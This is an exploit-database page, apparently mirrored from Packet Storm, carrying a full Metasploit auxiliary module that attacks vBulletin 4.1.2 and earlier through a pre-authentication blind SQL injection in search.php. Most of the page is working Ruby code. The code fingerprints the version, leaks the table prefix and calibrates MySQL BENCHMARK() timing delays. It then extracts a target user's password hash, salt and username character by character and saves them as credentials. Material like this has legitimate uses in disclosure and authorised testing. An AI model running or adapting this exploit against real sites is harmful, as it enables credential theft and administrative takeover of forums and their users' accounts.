Lucene search
K

vBulletin 4.1.2 search.php SQL Injection

🗓️ 30 May 2011 00:00:00Reported by James BercegayType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 257 Views

vBulletin 4 <= 4.1.2 search.php SQL Injection. Vulnerable to preauth SQL Injection. Attack may extract user credentials and gain administrative access leading to remote PHP code execution

Code
`# Requirements  
require 'msf/core'  
  
# Class declaration  
class Metasploit3 < Msf::Auxiliary  
  
# Includes  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient   
  
# Initialize module  
def initialize(info = {})  
  
# Initialize information  
super(update_info(info,  
'Name' => 'vBulletin 4 <= 4.1.2 search.php SQL Injection',  
'Description' => %q{  
vBulletin versions 4 <= 4.1.2 are vulnerable to a preauth SQL Injection issue  
that may be used by an attacker to extract user credentials, and potentially  
gain administrative access, potentially leading to remote PHP code execution.  
  
NOTES:  
------------------------------------------------  
* Do not set the BMCT option too high!  
* Do not set the BMCT option too low either ...  
* A delay of about three to five seconds is ideal  
* Increase BMRC if you have issues with reliability  
},  
'Author' =>   
[   
# Exploit Only  
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '47281' ],  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'April 11, 2011',  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
# Required  
OptString.new('VDIR', [true, 'vBulletin directory', '/']),  
  
# The number of function iterations to run during the benchmark  
OptInt.new('BMCT', [true, 'Benchmark Counter' , 500000 ]),  
  
# This is the benchmark delay threshold (in seconds)  
OptInt.new('BMDF', [true, 'Benchmark Difference' , 3 ]),  
  
# The number of benchmark tests to make during each data request.  
# This number may be increased for accuracy if you have problems.  
OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),  
  
# Optional  
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),  
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),  
OptInt.new( 'RLIM', [false, 'Random string limit' , 8 ]),  
  
# Database table prefix  
OptString.new('PREF', [false, 'Database table prefix', nil ]),  
  
# Target user id  
OptInt.new('TUID', [true, 'User ID to target', 1 ]),  
  
], self.class)  
end  
#################################################  
  
# Extract "Set-Cookie"  
def init_cookie(data, cstr = true)  
  
# Raw request? Or cookie data specifically?  
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data  
  
# Beginning  
if ( data )  
  
# Break them apart  
data = data.split(', ')  
  
# Initialize  
ctmp = ''  
tmps = {}  
  
# Parse cookies  
data.each do | x |  
  
# Remove extra data  
x = x.split(';')[0]  
  
# Seperate cookie pairs  
if ( x =~ /([^;\s]+)=([^;\s]+)/im )  
  
# Key  
k = $1  
  
# Val  
v = $2  
  
# Valid cookie value?  
if ( v.length() > 0 )  
  
# Build cookie hash  
tmps[k] = v  
  
# Report cookie status  
print_status("Got Cookie: #{k} => #{v}");  
end  
end  
end  
  
# Build string data  
if ( cstr == true )  
  
# Loop  
tmps.each do |x,y|   
  
# Cookie key/value  
ctmp << "#{x}=#{y};"   
end  
  
# Assign  
tmps['cstr'] = ctmp  
end  
  
# Return  
return tmps  
else  
# Something may be wrong  
init_debug("No cookies within the given response")  
end  
end  
  
#################################################  
  
# Simple debugging output  
def init_debug(resp, exit = 0)  
  
# is DBUG set? Check it  
if ( datastore['DBUG'] )  
  
# Print debugging data  
print_status("######### DEBUG! ########")  
pp resp  
print_status("#########################")  
end  
  
# Continue execution  
if ( exit.to_i > 0 )  
  
# Exit  
exit(0)  
end  
  
end  
  
#################################################  
  
# Generic post wrapper  
def http_post(url, data, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "application/x-www-form-urlencoded"  
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['VDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout )  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic post multipart wrapper   
def http_post_multipart(url, data, headers = {}, timeout = 15)  
  
# Boundary string  
bndr = Rex::Text.rand_text_alphanumeric(8)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Init  
temp = ''  
  
# Parse form values  
data.each do |name, value|  
  
# Hash means file data  
if ( value.is_a?(Hash) )  
  
# Validate form fields  
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)  
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)  
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)  
encoding = value['encoding'] ? value['encoding']: "Binary"  
  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"  
temp << "Content-Type: #{mimetype}\r\n"  
temp << "Content-Transfer-Encoding: #{encoding}\r\n"  
temp << "\r\n"  
temp << "#{contents}\r\n"  
  
else  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"  
temp << "\r\n"  
temp << "#{value}\r\n"  
end  
end  
  
# Complete the form data  
temp << "--#{bndr}--\r\n"  
  
# Assigned  
data = temp   
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['VDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic get wrapper  
def http_get(url, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value // Also, remove post specific data, due to a bug ...  
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw({  
'uri' => datastore['VDIR'] + url,  
'headers' => headers,  
'method' => 'GET',  
}, timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Used to perform benchmark querys  
def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )  
  
# Init  
wait = 0  
  
# Defaults  
table = table ? table: 'user'  
  
# SQL Injection string used to trigger the MySQL BECNHMARK() function  
sqli = Rex::Text.uri_encode("-99) UNION SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} -- /*")  
  
# Post data used for the test  
post = "contenttypeid=7&do=process&humanverify=1&cat[]=#{sqli}"  
  
# Number of tests to run. We run this  
# amount of tests and then look for a  
# median value that is greater than  
# the benchmark difference.  
tnum = tnum ? tnum: datastore['BMRC']  
  
# Run the tests  
tnum.to_i.times do | i |  
  
# Start time  
bmc1 = Time.now.to_i  
  
# Make the request  
init_debug(http_post("search.php", post))  
  
# End time  
bmc2 = Time.now.to_i  
  
# Total time  
wait += bmc2 - bmc1  
end  
  
# Return the results  
return ( wait.to_i / tnum.to_i )  
  
end  
  
#################################################  
  
def get_users_data(snum, slim, cset, sqlf, sqlw)  
  
# Start time  
tot1 = Time.now.to_i  
  
# Initialize  
reqc = 0  
retn = String.new  
  
# Extract salt  
for i in snum..slim  
  
# Offset position  
oset = ( i - snum ) + 1  
  
# Loop charset  
for cbit in cset  
  
# Test character  
cbit.each do | cchr |  
  
# Start time (overall)  
bmc1 = Time.now.to_i  
  
# Benchmark query with escaped wildcard chars  
bmcv = ( cchr.ord() == 37 || cchr.ord() == 95 ) ?   
sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CONCAT(CHAR(92),CHAR(#{cchr.ord}))", "user", sqlw, datastore['BMRC']):   
sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "user", sqlw, datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Verbose  
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))  
  
# Append chr  
retn << cchr  
  
# Exit loop  
break  
end   
  
# Counter  
reqc += 1  
  
end # each   
end # for  
  
# Host not vulnerable?  
if ( oset != retn.length )  
  
# Failure  
print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")  
return nil  
end  
end # for  
  
# End time (total)  
tot2 = Time.now.to_i  
  
# Benchmark totals  
tot3 = tot2 - tot1  
  
# Verbose  
print_status("Found data: #{retn}")  
print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")  
  
# Return  
return retn  
end  
  
#################################################  
  
def run  
  
# Numeric test string  
tstr = Time.now.to_i.to_s  
  
# MD5 test string  
tmd5 = Rex::Text.md5(tstr)  
  
#################################################  
# STEP 01 // Attempt to extract vBulletin version  
#################################################  
  
# Verbose  
print_status("Attempting to determine vBulletin version")  
  
# Banner grab request  
resp = http_get("index.php")  
  
# Extract vBulletin version information  
if ( resp.body =~ /name="generator" content="vBulletin ([^"]+)"/ )  
  
# Version  
vers = $1.strip   
  
# Version "parts"  
ver1, ver2, ver3 = vers.split(/\./)  
  
# vBulletin 4.0 - 4.1.2  
if ( ver1.to_i != 4 || ver2.to_i > 1 || ( ver2.to_i > 0 && ver3.to_i > 2 ) )  
  
# Exploit failed  
print_error("Only vBulletin versions 4.1.2 and earlier are vulnerable")  
init_debug(resp)  
return  
else  
  
# Verbose  
print_status("Target is running vBulletin version: #{vers}")  
end  
else  
  
# Verbose  
print_error("Unable to determine vBulletin version ...")  
init_debug(resp)  
end  
  
#################################################  
# STEP 02 // Check to make sure that the search  
# feature is actually enabled before proceeding  
#################################################  
  
# Request the search page  
resp = http_get("search.php?do=process")  
  
# Is the search form present?  
if ( resp.body !~ /id="searchform"/ )  
  
# Verbose  
print_error("The search feature seems to be disabled. Exploit failed!")  
init_debug(resp)  
return  
end  
  
#################################################  
# STEP 03 // Make sure we have valid table prefix  
#################################################  
  
# Got database prefix?  
if ( !datastore['PREF'] )  
  
# Post data  
post = "contenttypeid=7&do=process&humanverify=1&cat[]=)"  
  
# Request the search page  
resp = http_post("search.php?do=process", post)  
  
# Attempt to extract the database table prefix  
if ( resp.body =~ /DISTINCT socialgroupcategory.title from ([^\s]+)socialgroupcategory AS/ )  
  
# Prefix  
datastore['PREF'] = $1.strip  
  
# Got prefix  
print_good("Successfully extracted database prefix: #{datastore['PREF']}")  
  
else  
  
# Prefix  
datastore['PREF'] = String.new()  
  
# Verbose  
print_status("Unable to determine table prefix. Using default values")  
init_debug(resp)   
end  
end  
  
#################################################  
# STEP 04 // Calculate BENCHMARK() response times  
#################################################  
  
# Verbose  
print_status("Calculating target response times")  
print_status("Benchmarking #{datastore['BMRC']} normal requests")  
  
# Normal request median (globally accessible)  
datastore['BMC0'] = sql_benchmark("1=2")  
  
# Verbose   
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")  
print_status("Benchmarking #{datastore['BMRC']} delayed requests")  
  
# Delayed request median  
bmc1 = sql_benchmark("1=1")  
  
# Verbose  
print_status("Delayed request avg: #{bmc1.to_s} seconds")  
  
# Benchmark totals  
bmct = bmc1 - datastore['BMC0']  
  
# Delay too small. The host may not be  
# vulnerable. Try increasing the BMCT.  
if ( bmct.to_i < datastore['BMDF'].to_i )  
  
# Verbose  
print_error("Either your benchmark threshold is too small, or host is not vulnerable")  
print_error("To increase the benchmark threshold adjust the value of the BMDF option")  
print_error("To increase the expression iterator adjust the value of the BMCT option")  
return  
else  
# Host appears exploitable  
print_status("Request Difference: #{bmct.to_s} seconds")  
end  
  
#################################################  
# These are the charsets used for the enumeration  
# operations and can be easily expanded if needed  
#################################################  
  
# Hash charset a-f0-9  
hdic = [ ('a'..'f'), ('0'..'9') ]  
  
# Salt charset ! - ~  
sdic = [ ('!' .. '~') ]  
  
#################################################  
# STEP 05 // Attempt to extract user pass hash  
#################################################  
  
# Verbose  
print_status("Attempting to gather user password hash")  
  
# Get pass hash  
if ( !( hash = get_users_data(  
1, # Length Start  
32, # Length Maximum  
hdic, # Charset Array  
"password", # SQL Field name  
"userid=#{datastore['TUID'].to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather user pass hash. Exploit failed!!")  
return  
end  
  
#################################################  
# STEP 06 // Determine the length of user salt  
#################################################  
  
# The current limit for user salt length is hard  
# coded to 30 chars via the database structure  
for i in 1.upto(30)  
  
# Benchmark   
bmcv = sql_benchmark("LENGTH(salt)=#{i.to_s}", "user", "userid=#{datastore['TUID'].to_s}", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Length  
slen = i  
  
# Verbose  
print_status("Target is using a #{slen.to_s} character salt")  
break  
else  
  
# Out of time ..  
if ( i == 30 )  
  
# Failure  
print_error("Unable to determine salt length. Exploit failed!")  
return  
end  
end   
end  
  
#################################################  
# STEP 07 // Attempt to extract user pass salt  
#################################################  
  
# Verbose  
print_status("Attempting to gather user password salt")  
  
# Get pass salt  
if ( !( salt = get_users_data(  
1, # Length Start  
slen, # Length Maximum  
sdic, # Charset Array  
"salt", # SQL Field name  
"userid=#{datastore['TUID'].to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather user pass salt. Exploit failed!!")  
return  
end  
  
#################################################  
# STEP 08 // Attempt to gather target username  
#################################################  
  
# Verbose  
print_status("Attempting to gather target username")  
  
# Request profile data  
resp = http_get("member.php?#{datastore['TUID'].to_s}")  
  
# Extract username  
if ( resp.body =~ /<span class="member_username">([^<]+)/ )  
  
# Username  
user = $1.strip()  
  
# Verbose  
print_good("Got username: #{user}")  
else  
  
# Unavailable  
user = "N/A"  
  
# Verbose  
print_error("Unable to gather target username!")  
end  
  
# Verbose  
print_status("USER: #{user} (ID: #{datastore['TUID'].to_s})")  
print_status("HASH: #{hash}")  
print_status("SALT: #{salt}")  
print_status("Inserting credentials into the note database ...")  
  
# Note data  
ndat = {  
  
# vBulletin directory  
"VDIR" => datastore['VDIR'],  
  
# Target User ID  
"TUID" => datastore['TUID'],  
  
# User name  
"USER" => user,  
  
# User hash  
"HASH" => hash,  
  
# User salt  
"SALT" => salt,  
  
# Version  
"VERS" => vers,  
}  
  
# Save results   
report_note(  
:host => datastore['RHOST'],  
:proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',  
:port => datastore['RPORT'],  
:type => "vBulletin Credentials",  
:data => ndat  
)  
  
end  
end`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation